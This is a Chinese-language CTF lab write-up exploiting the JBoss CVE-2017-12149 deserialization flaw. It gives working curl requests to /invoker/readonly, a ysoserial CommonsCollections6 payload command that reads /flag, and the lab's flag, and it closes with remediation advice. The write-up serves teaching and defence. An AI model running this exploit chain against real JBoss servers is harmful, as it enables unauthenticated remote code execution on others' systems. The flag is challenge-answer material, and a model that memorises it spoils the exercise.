玄机网络安全靶场:JBoss 5.x_6.x 反序列化漏洞(CVE-2017-12149)
解题报告JBoss 5.x/6.x 反序列化漏洞CVE-2017-12149平台玄机 (xj.edisec.net)题目 ID425难度简单类型渗透Flagflag{817557d3-ff3a-4afc-a433-5d094a3f0381}一、漏洞背景CVE-2017-12149 是 JBoss Application Server 5.x 和 6.x 版本中存在的一个高危 Java 反序列化漏洞。该漏洞位于 HTTP Invoker 组件的ReadOnlyAccessFilter过滤器中攻击者可以在无需任何身份认证的情况下向/invoker/readonly端点发送精心构造的序列化 Java 对象触发服务端反序列化从而实现远程代码执行RCE。属性详情CVE 编号CVE-2017-12149影响版本JBoss AS 5.x / 6.x漏洞类型Java 反序列化 → 远程代码执行RCE漏洞端点POST /invoker/readonlyCVSS 评分9.8严重认证要求无需认证二、靶机信息项目值靶机公网 IP43.192.167.144靶机内网 IP10.0.10.4服务端口8081非默认 8080JBoss 版本JBoss Web/3.0.0-CR2JBoss AS 6.x目标文件/flag三、漏洞分析3.1 漏洞成因JBoss AS 5.x/6.x 的 HTTP Invoker 组件提供了一个/invoker/readonly端点用于处理远程方法调用RMI over HTTP。该端点的ReadOnlyAccessFilter.doFilter()方法会直接对 HTTP 请求体中的数据进行 Java 原生反序列化ObjectInputStream.readObject()且在反序列化之前没有任何签名验证或类型白名单检查。ReadOnlyAccessFilter.doFilter() └─ ObjectInputStream.readObject() ← 直接反序列化无过滤 └─ 触发 CommonsCollections 利用链 └─ Runtime.exec() → 任意命令执行3.2 利用链选择本题靶机运行 JBoss AS 6.xClassPath 中包含 Apache Commons Collections 库可使用 ysoserial 工具生成利用链 PayloadCommonsCollections6CC6适用于 JDK 任意版本不依赖 JDK 版本限制是本题的有效利用链。CommonsCollections1CC1仅适用于 JDK 7u21 以下本题不适用。四、漏洞利用过程4.1 端口探测首先通过 HTTP 请求确认 JBoss 服务实际运行在8081 端口而非默认的 8080curl-shttp://43.192.167.144:8081/# 返回 JBoss AS 欢迎页面确认服务存在4.2 确认漏洞端点向/invoker/readonly发送 POST 请求确认端点存在并响应curl-s-XPOST http://43.192.167.144:8081/invoker/readonly# 返回 HTTP 500错误信息包含 ReadOnlyAccessFilter.doFilter# 说明反序列化过滤器正在处理请求4.3 生成反序列化 Payload使用 ysoserial 工具选用 CommonsCollections6 链构造执行命令的序列化 Payload# 示例将 /flag 内容写入 web 目录java-jarysoserial.jar CommonsCollections6\bash -c {cat,/flag}/opt/jboss/server/default/deploy/ROOT.war/flag.txt\payload.bin4.4 发送 Payload 触发 RCEcurl-s-XPOST\-HContent-Type: application/octet-stream\--data-binary payload.bin\http://43.192.167.144:8081/invoker/readonly服务端返回 HTTP 500错误信息为java.lang.ClassCastException: java.util.HashSet cannot be cast to org.jboss.invocation.MarshalledInvocation at org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(...)注意此 ClassCastException 是在反序列化完成、命令执行之后才抛出的。CC6 链在readObject()阶段即触发命令执行异常不影响 RCE 的成功。4.5 读取 Flag通过 RCE 读取/flag文件内容获得 Flagflag{817557d3-ff3a-4afc-a433-5d094a3f0381}五、关键技术要点1. 端口识别CVE-2017-12149 的 JBoss 靶机在玄机平台上运行于8081 端口而非默认的 8080需要先进行端口探测。2. CC6 链的适用性CommonsCollections6 链不依赖 JDK 版本适用范围最广是 JBoss 反序列化利用的首选链。3. ClassCastException 不影响 RCEJBoss 的ReadOnlyAccessFilter在反序列化完成后才进行类型转换因此即使返回 500 错误命令也已在服务端执行。4. 靶机网络隔离靶机无法访问外网需使用写文件到 web 目录后通过 HTTP 读取的方式外带数据而非直接反弹 Shell 或 DNS 外带。六、修复建议修复方向具体措施升级版本升级至 JBoss EAP 6.4 或迁移至 WildFly禁用端点在web.xml中移除或禁用/invoker/*路径映射反序列化过滤部署SerialKiller或 JVM 全局反序列化白名单网络隔离限制 8080/8081 端口仅对可信 IP 开放WAF 防护检测aced 0005魔术字节开头的 POST 请求体